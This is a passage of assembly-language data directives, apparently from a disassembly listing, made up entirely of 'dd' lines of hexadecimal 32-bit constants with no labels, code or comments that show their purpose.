		dd 0E85B9CCBh, 0FA9E2CC0h, 0C04254BAh, 21571C7Fh, 0A42412C3h
		dd 1500F4BCh, 206ACBE0h, 0ACCE33h, 0DD734F85h, 1E23A9A2h
		dd 4C1B7703h, 0D97F4199h, 0CC3F3935h, 601612F8h, 48374D24h
		dd 22CACE22h, 89DD6850h, 0CED8CD18h, 551A2661h,	8042CA44h
		dd 0E004C51h, 0A73CA870h, 7A11007Fh, 73BC6B31h,	0B04F3DF7h
		dd 0A577EC80h, 4C10BD45h, 1901C705h, 9ED26263h,	15C4E54Eh
		dd 0BA881E1Eh, 591878A6h, 184468EEh, 4847BB2Dh,	827DACD0h
		dd 187B48C1h, 73E009AFh, 0C8E5D944h, 0E0B79080h, 3D8DF2A4h
		dd 0AB27E93Bh, 13E4D8E0h, 12DA0B80h, 65794D21h,	0F2C8B200h
		dd 6C3630D4h, 0ACD52C0Eh, 87131E16h, 3223FC2Fh,	822AD209h
		dd 485724h, 0C5E812D8h,	0C0287704h, 0FCE2A175h,	0CB39F907h
		dd 844D8B1Bh, 0C7B4BBC0h, 7C3C2DA1h, 0A040F478h, 59C82F43h
		dd 0C1A24CC9h, 794D0263h, 1D1F1000h, 320115Ch, 5FED3EA8h
		dd 0E8D0667Ch, 200E0A4Dh, 236C63C6h, 0BF96AE28h, 46D098F9h
		dd 0D18B4FF7h, 30161D6Ch, 1A880A08h, 42B304A3h,	0E830A214h
		dd 8CDFF8ACh, 1372542Dh, 0EE2EC084h, 5A2500C4h,	14E18F3h
		dd 46E0320Eh, 75EA5701h, 8E16FF6Fh, 62F5A021h, 0E48A2A09h
		dd 0DC370C8h, 3007E079h, 862F05ABh, 20ED642Ah, 0C96B33F8h
		dd 3ECFCB02h, 0E0831B5Dh, 15F87Fh, 46859D61h, 0B288428Fh
		dd 80C03C4Eh, 0C00F5D95h, 64E9C4C9h, 9C00D810h,	0CD4465F2h
		dd 12DFF7BCh, 7522CB7h,	59C8CB9Dh, 4A77EC40h, 0F27CE32Dh
		dd 0A5214438h, 0B574FD00h, 0FAF8C4D7h, 2889B548h, 3911C81Dh
		dd 0D795DF87h, 43D35042h, 6B00545Dh, 0E0AA96D8h, 59B3FF28h
		dd 2627F445h, 98C87C90h, 91E928Bh, 0C6869482h, 20CCCF02h
		dd 1F42F8EDh, 0FFEF449Eh, 50C16E13h, 0D428CAE6h, 85F67D02h
		dd 2444A00Ah, 4C60E145h, 0DA384416h, 7986FF25h,	45090C5Ch
		dd 2B4E4429h, 5F8ABC46h, 80CC0259h, 0E41ABAFCh,	0BC2EFC52h
		dd 0E4F69C4Dh, 5410BD38h, 300D4F6h, 0B6E46C9Ch,	0E2F0E7Fh
		dd 24907D88h, 0C8443959h, 0E896C816h, 0E9224790h, 0DFD19491h
		dd 71062C18h, 0E74ABB02h, 93FE3058h, 3EF07D21h,	7CDC019Fh
		dd 5AFEBDD1h, 0A2863A30h, 0BB109D26h, 909692C4h, 2D4A642h
		dd 0D4D3C947h, 0F82AB70h, 51AD2870h, 0B8FEE8C0h, 0AE0BD14Ch
		dd 0D216DF5Ch, 6FF03498h, 8048BA89h, 0CE4AFC5h,	0A3283E00h
		dd 2DF949CAh, 3971FA60h, 0AB04E36Bh, 0A4E6A514h, 763C55E8h
		dd 40020B94h, 0C01002D5h, 0F9AB0563h, 0DBC83C90h, 2FBE5888h
		dd 8C12EDD5h, 40DA4C82h, 95595726h, 0D4C0444Dh,	0B310C65h
		dd 0F0ED0DE5h, 6C44D4D0h, 168E22C8h, 6CA4A25Bh,	0F0245BB9h
		dd 0E212CA0Ch, 488C9C0h, 0F9BCB928h, 99A31811h,	0DBD88164h
		dd 0FCC1FE40h, 1A00E47Ch, 6D962DB3h, 0B6A58Bh, 0DCF85C4Ah
		dd 0CBC595ACh, 28A3D3Eh, 73FFBDB5h, 0CB386B7Eh,	0FCFDE510h
		dd 5BF04687h, 0CC14D0A0h, 9C73DD1Bh, 856C6100h,	0A07666D3h
		dd 7189C021h, 239EA495h, 6953EE04h, 0C88E3FF8h,	0D6C27988h
		dd 2DE887B3h, 24784E11h, 8710402Fh, 8372288h, 6AD70700h
		dd 0B429C1A4h, 0F3BE0BC8h, 0A074ACF2h, 8258B769h, 8551D947h
		dd 884030DCh, 0E78293h,	0C6E9BE4h, 9637D2B7h, 0B98A1A1Fh
		dd 92A4D384h, 7918082h,	4AF652E3h, 88A19CA4h, 3401B948h
		dd 0FC19A86Bh, 825B68Ah, 93D09B2Fh, 9F643301h, 58FC1A2Fh
		dd 5AA8737Dh, 0E29442D0h, 0F45189AAh, 20781Dh, 6726964Eh
		dd 0AAC86C66h, 0ED49F0B9h, 0DA5840E0h, 0D8580A94h, 0D9BA342Fh
		dd 2CE874A8h, 2F85728Ch, 0C80429AAh, 0C9C20574h, 0A8C450D4h
		dd 42E2A0A3h, 1C7C5A30h, 41D2625Bh, 52CFF747h, 151BC09Eh
		dd 0A8219CA4h, 5BB091E7h, 4223F02Fh, 0A040871Ch, 6B03AC25h
		dd 0ABF217E0h, 0B29C90FEh, 0CF7C479Bh, 3CDA4E28h, 5C2E894Ah
		dd 0D7003923h, 0E1505A52h, 0A58C014Ch, 0D8489E7Bh, 0ACD8930Ch
		dd 3190A00Fh, 0A07C615Eh, 0E5BB1365h, 6AB2E8F3h, 2DC7E30h
		dd 7266E283h, 1075F009h, 4C3B0A50h, 72E160h, 536D4D9h
		dd 6B0968B9h, 32F92413h, 460430B8h, 8FC380DAh, 0C02C888Ch
		dd 7AA60FC5h, 0B0016C93h, 7B56EFC4h, 0C484B444h, 23343BEBh
		dd 0D274002Eh, 0E24AFAD1h, 1F132312h, 0E012FCD1h, 175F7402h
		dd 80D69160h, 38062DC9h, 0D7F500AAh, 0F84326DEh, 0F09C2282h
		dd 7CA2188Bh, 0CB024288h, 0DF609E03h, 0E024F44Ah, 0C6CA6AC1h
		dd 0D0388C7Ah, 9B27740h, 42209310h, 35002064h, 0FB3E235Ah
		dd 137F3A7Ch, 5FD3403Fh, 0DB2D0194h, 34B28291h,	0ED095AF0h
		dd 8B7EE650h, 4540DA41h, 1F1080DEh, 0F207C181h,	0C2000C6h
		dd 0F115057Ah, 0A40ED8EDh, 914485Ch, 0B5C0F06Bh, 0C3604410h
		dd 82D3573Bh, 162AAC7Ah, 7CD47A09h, 3D430FFDh, 796B4C34h
		dd 9E6028D4h, 278F8408h, 58C22256h, 7D6F87Ch, 0D1A10B4Bh
		dd 0CC61AFABh, 3ADA86A0h, 24027CD5h, 57E84DF0h,	5856B4BAh
		dd 32C4656h, 0BEE2301Dh, 99D8D926h, 7E74602Ah, 2CB6F3E4h
		dd 11781D69h, 0E2798039h, 0A63ECEh, 4B3AC638h, 6F67D96Bh
		dd 2EFCA295h, 0B8E10B17h, 8723019Eh, 885C8F3Bh,	82E0CE6Dh
		dd 0FC04DFB0h, 0B8C8DA24h, 80701BADh, 4BFB448Ah, 82FCF09Fh
		dd 23D89502h, 5D8C65B9h, 5BEE8480h, 3454E2FCh, 0A15B67B4h
		dd 96A75C71h, 4D214208h, 0BD99C5D9h, 2FA12168h,	0E8208858h
		dd 0C692252Dh, 2BC51C11h, 82631408h, 51FF104Dh,	0D1898CD6h
		dd 0C110094Eh, 1C48CFF4h, 0A485B59Bh, 0CBDC5D5Ah, 2C02C493h
		dd 21018859h, 7C6D7F3Fh, 413CA6B5h, 42C6938h, 61BD50AAh
		dd 0A206FCF9h, 103A97F8h, 449A4301h, 1682E845h,	7C6C503Eh
		dd 4149027Fh, 36EC4FDCh, 0FAE09977h, 0A890C83Bh, 50786827h
		dd 8E149980h, 5A8529DFh, 0AA202C25h, 0E0CC7A22h, 0F007410Fh
		dd 9DE932B2h, 2CA5018h,	7021A80Ah, 3190CA94h, 3E17E130h
		dd 0DC14043Ah, 18450498h, 49E08488h, 31B8B887h,	22099709h
		dd 9CF2EDh, 0C65EF812h,	0A6F64704h, 94349F02h, 614C7DB9h
		dd 5EDE2CCEh, 74D13814h, 686E6Fh, 116ADA9Ch, 59188B3h
		dd 0C2FAEE76h, 7198404Ah, 72772646h, 4E0A61E8h,	0C6B79D6Ch
		dd 0E592C300h, 0F85CD0Ah, 457A974Ch, 3C7E0E63h,	405A2103h
		dd 0C8FB1C50h, 0F8952597h, 0B5893A07h, 0A9DE105h, 0E8E04008h
		dd 5329C122h, 44B9A000h, 42960F9Ch, 926D13CDh, 400800BDh
		dd 99D6882Ch, 6E84AB00h, 17220304h, 0DEC812C3h,	0BA284227h
		dd 45008254h, 9FC4E704h, 0D946DCC8h, 3A43413Eh,	0B63F03D1h
		dd 0B8A9A612h, 261C8D87h, 45600A91h, 0A81EEF1Fh, 2D871170h
		dd 0CF730390h, 24234D26h
		dd 10421832h, 80B8544Fh, 0DD5D3BFBh, 0A0271433h, 59022A5h
		dd 0A328B420h, 435023CBh, 0CDD71041h, 309458A6h, 4B774459h
		dd 7A1C3107h, 76421FE5h, 23C448Ah, 0F87E1A9h, 40B4DEF1h
		dd 0D4B0324Ah, 0E66C881Dh, 1C874D00h, 5C0CFD99h, 91426EF6h
		dd 281475C6h, 0FCD2DD5Ah, 853CB521h, 422F4C26h,	0DAE0A1A4h
		dd 0C919E47Ah, 0D63131C8h, 3C84344Ah, 0B6002E1Fh, 58E60C88h
		dd 9918C1F0h, 4DD10D5Ch, 7D2B02D6h, 0FA901D87h,	480E04E2h
		dd 0C6B2BC95h, 0C3CA1936h, 0D1629103h, 24208537h, 0A84F634Dh
		dd 14391890h, 61C963A1h, 0A921B78Bh, 15B10855h,	3A0FA001h
		dd 8C498C76h, 430CE4h, 0A1C2A87Bh, 0AF6F12F5h, 0F9DE67Fh
		dd 70009204h, 5D0ADE30h, 604EF21Eh, 0CEC2816Eh,	58F9451Fh
		dd 30A0D820h, 4F5041FEh, 9C92E6A0h, 3B084360h, 0F80E03ABh
		dd 909B5DF4h, 49275C05h, 0D82BABCCh, 30EF76A1h,	1E6197CCh
		dd 0E76B6808h, 0C4EBEF30h, 0C1E33010h, 8C1D5B1Ch, 8BD5E10h
		dd 18E4624Fh, 4502260Eh, 0D6C8031Ch, 0C9230810h, 50E66238h
		dd 902059BEh, 192231B3h, 13BD908h, 0F0014C32h, 66A012Eh
		dd 1EEC901h, 0AB01F4AEh, 2048BF5Eh, 0C45B985Ah,	0C2DA908h
		dd 40EE49A0h, 5C635B21h, 20CF6630h, 0D162FB99h,	2DA6C69h
		dd 680FAB5Ch, 0CECF0C35h, 38409C08h, 9DBC4033h,	0A02F84A8h
		dd 0C4ADED80h, 637BE08h, 6EA9BA2Dh, 9918083Eh, 7080AE90h
		dd 29F383CBh, 4B630810h, 6288982Ah, 1733B168h, 10606903h
		dd 2A312B10h, 4831C055h, 0DB9A08B7h, 88A74502h,	1F0808FDh
		dd 6ADF0CD1h, 1640E140h, 0BA50405Dh, 0EFEE51C4h, 6B691B0Ch
		dd 4123B0A8h, 3E0E61C8h, 4E2011A0h, 0D31620FAh,	8C418F6h
		dd 10043A9Bh, 0F1F11CF6h, 2D01F088h, 68B801C1h,	41086099h
		dd 0A0B988E3h, 9EDD0804h, 845300Ch, 0AEA4401Dh,	0C6D31E40h
		dd 8F5B149h, 8D801954h,	41FEC940h, 903CF958h, 6F100839h
		dd 22DB1030h, 12B2CC10h, 640AE2C5h, 6F88FC91h, 0F1141903h
		dd 102C631h, 4F12441h, 2E0C489Fh, 0AF4035B9h, 0D9516424h
		dd 3BEB04B8h, 0CC54B04h, 401621FFh, 21405B56h, 0C6A0A86Dh
		dd 0B1098028h, 6188F281h, 0BD1533C8h, 9323190h,	0F8014E98h
		dd 2061241h, 0BB02F78Dh, 1F5B24DBh, 3FF6E1F1h, 0F910E703h
		dd 2D315492h, 2A1D319h,	1384AF42h, 0DDD0444h, 6D8D204h
		dd 2008FD9Bh, 9F204B3Ch, 0FC4620A9h, 1D19C262h,	0DA26021Ch
		dd 2E5AA02h, 0B205C3CEh, 22989049h, 2BB9910h, 79022F4Fh
		dd 923E042Dh, 0A4A2E290h, 7402F37Fh, 0BD8E02B9h, 2B5E502h
		dd 1706B32Fh, 59F662E1h, 2805AD53h, 26AFE449h, 20395A04h
		dd 1A2045FDh, 0E87E20F9h, 85F9FE60h, 995CB7BBh,	968401A4h
		dd 28A5052Ah, 0A0CC039Ch, 0B992D12h, 4B4C8A10h,	32E80D03h
		dd 0CE29BE98h, 72C4724Dh, 631E4800h, 2846854Ah,	1CD80003h
		dd 41693FABh, 0F5FA19A8h, 98ACB8B1h, 0FB26F600h, 3A9235B5h
		dd 0EF0620C2h, 90946724h, 77009C73h, 0A7F95CA0h, 32E45CBh
		dd 1192EE33h, 0AED49643h, 45C18C1h, 3A8DC19Ch, 6F419801h
		dd 9E7F0524h, 4304FC18h, 28FCF123h, 70EA9A51h, 0BC9E0F74h
		dd 24C41CAEh, 0D54F055h, 8A2B8400h, 0D4E15AB9h,	42370056h
		dd 326B65CAh, 74E72CC1h, 5E002428h, 0E2DD0FA1h,	226D0EDh
		dd 41994607h, 3CD05FFEh, 7D534B01h, 0E6B40670h,	0E04483F3h
		dd 375C29D3h, 0E0484C78h, 0CAC49912h, 2F48D01h,	0B028161Fh
		dd 14D78CF0h, 80E9355Ch, 0EE522401h, 3DE39EADh,	58230CECh
		dd 6F92B8BCh, 3F28E839h, 0C31940Fh, 3ECD917Dh, 564C2609h
		dd 0EE4B8800h, 2321E1C2h, 30B64731h, 5BE40348h,	0D687000Dh
		dd 0ECE5693h, 0FE00C41Ch, 5345EF36h, 23BC96h, 43FD1BA5h
		dd 374478C7h, 0C4CC8850h, 0C440E15Eh, 6F862996h, 4494050Ah
		dd 80CA741Ch, 0C67F1606h, 0AA60D6E8h, 4E680A29h, 0B33F0011h
		dd 0AC979DD7h, 1D000C32h, 0E1C8FFC4h, 1DD62EFAh, 0C39E7E2Dh
		dd 0EA08A118h, 727736F8h, 6D50F801h, 0F49CDD7Bh, 0A0E634F5h
		dd 6E215ABCh, 86ED0084h, 0CE4496F9h, 81485277h,	4CBC4A48h
		dd 0ACB8DF14h, 0D02BE341h, 536DB45Ch, 198CE95Dh, 4318C77Fh
		dd 48D5A440h, 8E370066h, 52E5074Ch, 0E67F4F5Dh,	0D5308D60h
		dd 407846h, 0FE574B29h,	9E939B1Ch, 42DBE500h, 270B235Ch
		dd 602DFA0Ah, 2CB583Ch,	1374467Eh, 4B433A04h, 68902209h
		dd 489F717Ah, 4D3078FAh, 0A7F46618h, 0A1727400h, 0CADF515Ch
		dd 0FF860045h, 20D54498h, 2153FAD2h, 7F760524h,	645E8EBFh
		dd 40C0D412h, 0C458F823h, 81FCFD28h, 49369Ch, 79700Eh
		dd 0CF558390h, 39D085AAh, 0B3602375h, 1CEE0420h, 376FB0EFh
		dd 60109503h, 36A5109Fh, 52E0F109h, 28448FEh, 0F398017Dh
		dd 303BA0C3h, 0FE7BF493h, 4C10EC24h, 6286E137h,	97945831h
		dd 0C495127Fh, 9C2C20CCh, 79026977h, 9E5E446Ch,	258444DCh
		dd 68C83E4Bh, 3A60FFE6h, 79687F18h, 0A2292655h,	0C0AC17AAh
		dd 9DF5421Ch, 2488AF02h, 6015E18Ch, 0FCA0C738h,	33F00DEh
		dd 7CEACEBh, 393F5B4Ch,	0E6740653h, 140A8D1h, 28D4FA6Ch
		dd 68C4CB4Eh, 760D0044h, 0EA5C84E9h, 8688CF53h,	0C88C1092h
		dd 98B95440h, 0E7A81250h, 44E46469h, 8C109680h,	4820E644h
		dd 0E9702AEh, 0EBB1E70Dh, 50B04C48h, 911001B7h,	60239641h
		dd 3E14DC54h, 3A76DEC4h, 24005F61h, 9253D022h, 783FD2FCh
		dd 143993ECh, 204288ECh, 1AB05C38h, 0CDD94FC0h,	123A1C3h
		dd 0DD200A89h, 70704DA4h, 91265C98h, 1E095895h,	9EAD01E7h
		dd 0CC41D15Bh, 0C0039CDh, 9D305C1Ch, 9E6B2892h,	3E6974DFh
		dd 0DE7E5767h, 0B50DC081h, 447724C5h, 0FE835406h, 6668DBA8h
		dd 2840A696h, 924517Ch,	9E6070C6h, 91CBC431h, 0EAFE041Ch
		dd 545AABA8h, 75A083B0h, 7680068Eh, 20E356FEh, 29E8F704h
		dd 0C8C08301h, 500F7543h, 305A030h, 5C733A97h, 5800423Ch
		dd 4927A082h, 48EE3B86h, 2685B80Ah, 0FE4490F5h,	58C4D3D6h
		dd 3CC84951h, 2B9E1255h, 79583148h, 496014Ah, 12F036F4h
		dd 4C6C4E4h, 0C09C1AACh, 0CC3EFDBCh, 895CA70Ch,	2D3846h
		dd 35ACB0DFh, 599923E0h, 0F04450C0h, 6624E73h, 69D65021h
		dd 109AA02Eh, 0D2DB9C83h, 0E8B7F87Eh, 4069E9Ch,	46F91EACh
		dd 61289D71h, 292CB53Eh, 75511801h, 78400C9Ch, 9846E51Eh
		dd 38A062ACh, 0D4DED47Ch, 884FE382h, 1910CE5Bh,	207376FEh
		dd 0FC5680C1h, 93914A33h, 233E004Ch, 1EF89765h,	0E2C240Fh
		dd 0EB8CE49Bh, 8786Fh, 0D76DCA36h, 5133A6B1h, 0AC044600h
		dd 97A2099Eh, 234C0CF1h, 0B9389264h, 0E967812h,	5BEB7031h
		dd 18085024h, 182B4424h, 0B835E6B1h, 481EE94Fh,	0A0730509h
		dd 0D0EACBECh, 58CC2403h, 7090944h, 53435C83h, 7E0D1018h
		dd 0EA160h, 0A88D8212h,	7A24191Eh, 0B0FD3540h, 2114E50h
		dd 0EDDD9AB4h, 64C8244Ah, 39009E0Dh, 0FDDE9F60h, 39E2B8D2h
		dd 24011DE3h, 2D5C3221h, 0E6B885BBh, 5C94B67Bh,	0E0C46C44h
		dd 82D794CCh, 81BDB041h, 0D240B20h, 0A2C02C96h,	20D49032h
		dd 78129299h, 1408CE50h, 0F7902823h, 26FEDC70h,	6F5C6560h
		dd 0D0AAB304h, 699457B8h, 0D4BFB024h, 66DC3800h, 2F52CC15h
		dd 7040EFE6h, 0BB01F670h, 5C406D75h, 0F1B83C05h, 62984C24h
		dd 2064E09Eh, 4405148h,	805B247Bh, 8831FA05h, 0F3006780h
		dd 0E98A6FD0h, 7EB45B48h
		dd 0E02617A3h, 3C200092h, 966FC87Ch, 642C250Fh,	0E35CA5FEh
		dd 49E9C40h, 8267150h, 7AB324CCh, 82B71A80h, 4D65A87h
		dd 4DE7D28h, 6CC0C1CFh,	6ED870FDh, 883DCC07h, 51C7EE2Bh
		dd 80044C82h, 0CFD6A060h, 113E635Ch, 7292FE7Dh,	82E3486Bh
		dd 5C6885C2h, 9301034Bh, 0E68DA331h, 0F8AC62A2h, 53924548h
		dd 0E0461084h, 7F83CC46h, 614CA54Eh, 8BD41500h,	4CEB12A0h
		dd 59FA1481h, 49DD23FCh, 213A099h, 0C8585BA3h, 0CA0FEC0h
		dd 0C2012091h, 815121E6h, 0A50FC051h, 77D03983h, 590E2DECh
		dd 0E19E4FAAh, 5C04E6B8h, 7650788Ch, 14835BA8h,	0DCFC9678h
		dd 82882312h, 0F8980F48h, 9D025EE1h, 53CC7544h,	0ACB5C04Eh
		dd 1B3A0768h, 0F0FE9E5Ch, 0E4C7BBC9h, 0A8763B0Bh, 5198387Fh
		dd 37A89979h, 54828998h, 0A409CB53h, 0DD02A0B0h, 0B46B430Bh
		dd 9EF8D0EDh, 8D26AC26h, 392488FAh, 44D62032h, 0FC4A05A0h
		dd 0B5BE4DFh, 0FC000AFCh, 246E4C0Eh, 8CAF5C2Ah,	0A008CA09h
		dd 4B048015h, 2E3DB556h, 245C6AE7h, 0B8082064h,	565C1090h
		dd 0F786011Ch, 0BDE6B6A1h, 6466FC34h, 0C8D69644h, 30914B9Ch
		dd 24D88C94h, 2A0094B1h, 0E487F7B7h, 0FE4F1302h, 4C284386h
		dd 0BEE0D203h, 0E12C1E43h, 1134BA4Bh, 0B849B800h, 0B9B2214h
		dd 0CBB62A5Ch, 3C38F028h, 1BE63406h, 1662103Bh,	687CCCE8h
		dd 0C9DEF94h, 5142DE0Bh, 0CA09E988h, 5824A4h, 6F2C7268h
		dd 3068C19Bh, 0F0363571h, 0C61D3253h, 730754B1h, 16A085D4h
		dd 1551480Ah, 8C877A2Eh, 0E744004Ah, 36C56399h,	7459A000h
		dd 0FE7CA748h, 13E8945Dh, 0D80C0043h, 280F9A0Ah, 0D5624B00h
		dd 0E6DEF15Bh, 0D43E4DE0h, 638D0572h, 0E0B12348h, 7750AC14h
		dd 3C4026DCh, 0DFEE00C4h, 0FEA2829Fh, 0E0A00F1Ah, 0A60202B8h
		dd 0D85BB311h, 0FE18689Eh, 0B0D014A9h, 1979C827h, 1885C546h
		dd 95B8E709h, 76093E7Ch, 60722464h, 1241DDA4h, 4A87E75Dh
		dd 0DD4AB98h, 20680210h, 1D056ED9h, 5EE6BD46h, 9479E8D0h
		dd 0C8E458B6h, 0A5C23E81h, 18703830h, 7D909CF8h, 6824246Ch
		dd 0E3B780CCh, 75AEFBCh, 8D319600h, 5C422A4Fh, 3082660Eh
		dd 0FA04408Ch, 32B04341h, 5C56CC80h, 680F604Ch,	0DD2246B2h
		dd 30854D32h, 0BC88086h, 1EC39D10h, 2C2EE6B7h, 0AE2D8188h
		dd 21247451h, 183464B9h, 0CF160917h, 42AC8F0h, 37BE9604h
		dd 9DAC802Dh, 6498AAEDh, 6EFE7B15h, 4C344AE4h, 0FE821CB2h
		dd 68414DB4h, 0ACC02EB1h, 0E81139Ch, 0F757150Dh, 0EFC547DDh
		dd 7734D0FAh, 0A74D123Fh, 61A851CCh, 73488B10h,	0A0B8824Ah
		dd 94C157CFh, 28203577h, 0B5D4E718h, 9C6C0CC0h,	9A4AF45Ch
		dd 0CF0B3E54h, 73C5B44Ch, 82CC809Ah, 88B06699h,	9A6A0C25h
		dd 97072ACh, 0AAF56498h, 0C3035C94h, 0BAFFCF03h, 953010CDh
		dd 382309BBh, 0C8502196h, 20C0DDC0h, 0E8D532FEh, 94602761h
		dd 0D05C630h, 0FF5C8C8Eh, 96C88h, 0D6620FB9h, 727738CCh
		dd 41D8BA0Fh, 0A8A1EC23h, 2A540CFh, 3634F000h, 0E61C858Ah
		dd 10B200D0h, 0CC44F196h, 5E074C6Dh, 0D928642Bh, 4DC3CEF3h
		dd 9E008CB8h, 2233D812h, 0A004B4Fh, 0BB682D14h,	304C0826h
		dd 82111362h, 1C3D2896h, 449E024Dh, 1010A102h, 814A8D5Ch
		dd 0AD0FC50h, 0C0C113E6h, 1948D100h, 65C3FE15h,	0E4B2B080h
		dd 8909CF4h, 0FF049301h, 0B0544B1Fh, 18BFFCE0h,	280E71E6h
		dd 36074C75h, 98062E62h, 5772CFC2h, 6C859829h, 51808696h
		dd 4339FC1Ch, 0D3F42A55h, 8FD92C00h, 984403D8h,	1EDE0070h
		dd 19E8E99h, 6801D746h,	0E683857Bh, 38AEF20Ch, 0E8C077Ch
		dd 4C087CC2h, 81643C00h, 0D8507047h, 21D51487h,	7F019C2Ch
		dd 1E5AD9CAh, 0C89460EEh, 4ACC780Eh, 0B2232520h, 0C40090B8h
		dd 78929CBh, 0BE269EAFh, 5826C4AEh, 44D7508h, 0B4CFA86Bh
		dd 0E898B828h, 8A7C711Fh, 4004392h, 72DF1096h, 5CEB0A53h
		dd 26BCAD0Fh, 1F23C134h, 0E7C40028h, 0BFBB0FA6h, 5C633E15h
		dd 3060AC52h, 5EE52548h, 0FC231E8Bh, 574C40FBh,	0D32791CCh
		dd 75781C58h, 81591D19h, 0D470E560h, 4BF6D8h, 2C8C4E07h
		dd 0FEC1E6A4h, 0D400A8B8h, 7809DFD3h, 581F5E0Ch, 0BA006C96h
		dd 1D7CB059h, 28FEE877h, 5CA8670Bh, 0F0D013F4h,	3A377193h
		dd 5A092C96h, 0E880D17Fh, 9AC0A9ABh, 7D24D607h,	0FC40965Eh
		dd 0DD5350h, 353BE6C4h,	121694FEh, 0F8A0AC28h, 0C9B00A8h
		dd 898B6000h, 0F2DE9E63h, 8F3502B2h, 8C015CA2h,	6C7898A9h
		dd 3021B60Ah, 6F000874h, 0E6A6AF5Dh, 0D00397B5h, 5FC22479h
		dd 86ADA881h, 686AE012h, 88B03892h, 12CCB949h, 0B48CFE98h
		dd 0CDE94485h, 2D20597Eh, 4DE31FE8h, 49ADD36Dh,	0C041DF90h
		dd 0C4703898h, 6C881196h, 2C3150C6h, 5BB0929Ch,	7F780381h
		dd 28336649h, 0CA4B819Eh, 89B0AF41h, 83CC4F78h,	364F5C95h
		dd 0FCDE200Bh, 58BC82D0h, 40D300ACh, 4BE0E1C5h,	97A95900h
		dd 0E3A5BE2Fh, 0EA9D066Eh, 50F07A08h, 0B8B4A02Eh, 0B283D0Bh
		dd 0C0D40A10h, 0F67090B0h, 0C37300E4h, 90E90DCDh, 2648AE34h
		dd 0EE040080h, 0E6F47A22h, 1A094C3h, 3069D646h,	0F094713Bh
		dd 0CC913C0Ah, 0B20464A1h, 0CD4112h, 73FEC809h,	0F290A27Ch
		dd 93A8A04Eh, 795124B3h, 0A525280Ch, 67D13A4h, 88C64630h
		dd 5C254898h, 76B06038h, 0CDE824FEh, 0F1FD87B8h, 37A0C116h
		dd 0A51FDC71h, 0A107E175h, 490A3F12h, 58C47944h, 0E8C54831h
		dd 0FC70E3F5h, 7D622E7Fh, 8EFE638Ch, 5A4B1101h,	0A4AD29D2h
		dd 7762F882h, 0D060670Dh, 214C870Eh, 38FE0C48h,	534530CCh
		dd 95013449h, 0DA2478D4h, 0E90C34A0h, 0D8243491h, 42FF4A42h
		dd 0A6505178h, 8C83149Ch, 0CA3AD801h, 0F8D648BDh, 734EE649h
		dd 2CD4AC00h, 0B06835B7h, 0BE7A34h, 0FEDE67FAh,	0B96F5CCDh
		dd 0D05040C0h, 74F7FD9Eh, 7716007Ah, 6DD32A97h,	44A8CA47h
		dd 241A1B8Dh, 0C1A85305h, 0A8821294h, 7946ED1Eh, 8CA16C9Ah
		dd 96348723h, 0A80F2010h, 4C4140B2h, 770B9Ch, 2E9D8E82h
		dd 64A095E6h, 8D157903h, 0E8CFDF1Eh, 2773F977h,	482009FAh
		dd 3CC1ED4Ah, 0D2405760h, 3D6DC64h, 3488760Ah, 0A0B01611h
		dd 1C076A7Eh, 0ACFE7779h, 401726F2h, 813841A4h,	0D266E89Eh
		dd 245FD705h, 0BC40BB4Eh, 0D1DDB0F3h, 210C3C32h, 9606EB03h
		dd 19C3202Dh, 111A2000h, 2A4684F2h, 1097A0AFh, 74E807FCh
		dd 91FD9493h, 25767DA3h, 23B88578h, 3080DAADh, 0EA9DD057h
		dd 7D783AA7h, 431101F8h, 0E023ABB0h, 0D721CC0Ah, 0E64A2505h
		dd 0A4916A07h, 0FC20A798h, 0DA5C14D1h, 600D869h, 0CF569911h
		dd 0FF1D25A0h, 5C84D561h, 88E52849h, 10083D5h, 0D2774E85h
		dd 68735C18h, 0D213E340h, 0E0700408h, 44D021Eh,	1F847222h
		dd 60F571h, 0D5949EBEh,	0D65FA377h, 4329F040h, 9018DDA0h
		dd 683FAD4h, 5F5BC09Eh,	8617803Ah, 0F8634CFCh, 0D671182Dh
		dd 7E53E031h, 19B6E80h,	5670030Dh, 30EE327Ch, 1604065Bh
		dd 22E6AD0Bh, 0E47420E0h, 812B6192h, 380DA0FFh,	10DF88A4h
		dd 0A5986679h, 4089479h, 0F0A8E6B0h, 0CEF4702Ch, 87206D6Bh
		dd 2CC623D4h, 50AB0210h, 327BA372h, 0FAF3E099h,	10811140h
		dd 46D1DB0Eh, 971E26E6h, 953E7DC0h, 33C26803h, 33C95DE9h
		dd 48207884h, 75A88063h, 885A7360h, 1240F424h, 0DF794Fh
		dd 11A54825h, 0D9E7C5E0h, 9935CB25h, 29E0BAD8h,	2B15F72h
		dd 0C5662350h, 82CC5C48h
		dd 6A73E006h, 5410220Ch, 6A18016h, 9A98F632h, 7F0018DFh
		dd 3E3043C3h, 50B25BC2h, 154CCB5h, 0E4B4F466h, 3444811Ah
		dd 5140C348h, 0A9E610ABh, 0F8721343h, 245C8CE4h, 0A4A827B6h
		dd 3C82148h, 18FE7CAFh,	0D0BC84B4h, 4BC27D8Ch, 577F6B0Bh
		dd 2040CE83h, 8C5810DCh, 445A8428h, 0F484124Bh,	0C4ACB55Bh
		dd 0E14AE662h, 0CFA76003h, 0B728C1C6h, 2531093h, 9B667990h
		dd 0C4DC64E2h, 0CFFC4828h, 4BAD6540h, 52D42794h, 8464E04h
		dd 0E6B59D06h, 24806C52h, 1A582897h, 0A4D7F9C3h, 288CE1C0h
		dd 0B102F3EBh, 0B73E4CF0h, 0ABDD8BE3h, 3D14806Fh, 1D755860h
		dd 40059E87h, 445C0C4Eh, 0A8A0835Ah, 18001009h,	71CAC43Dh
		dd 24B27A8Bh, 95C323Eh,	9C189BC1h, 24000D9Eh, 4B489F87h
		dd 5DDA25Fh, 0D7E63E89h, 98003BFh, 17A054DCh, 13548EA3h
		dd 4B403DD4h, 15FE13B2h, 2E0C9CE5h, 0DD92E105h,	90B22481h
		dd 6C695C0Ah, 528D17A0h, 962C04C0h, 0C4131DA6h,	726F0400h
		dd 24233350h, 53CF539h,	809F55A6h, 0F8091ABCh, 538A356h
		dd 0B4329E7Ch, 163F00A2h, 0C80A0294h, 27F3110h,	246EF756h
		dd 1744485h, 507C12C6h,	30BC9663h, 527DF0FBh, 44E88609h
		dd 0EB34842Fh, 81297F02h, 41A1D8C8h, 0BA309E16h, 7BE44000h
		dd 64C5D7Ch, 8D785954h,	94604046h, 4A3DF690h, 60FE1364h
		dd 38C4587h, 423CF520h,	0FC7E4EC8h, 2385542Ch, 98E43FD3h
		dd 608E4B7Dh, 0A16DC06Ch, 5B4B4900h, 0DEB877FCh, 4CF8011Ch
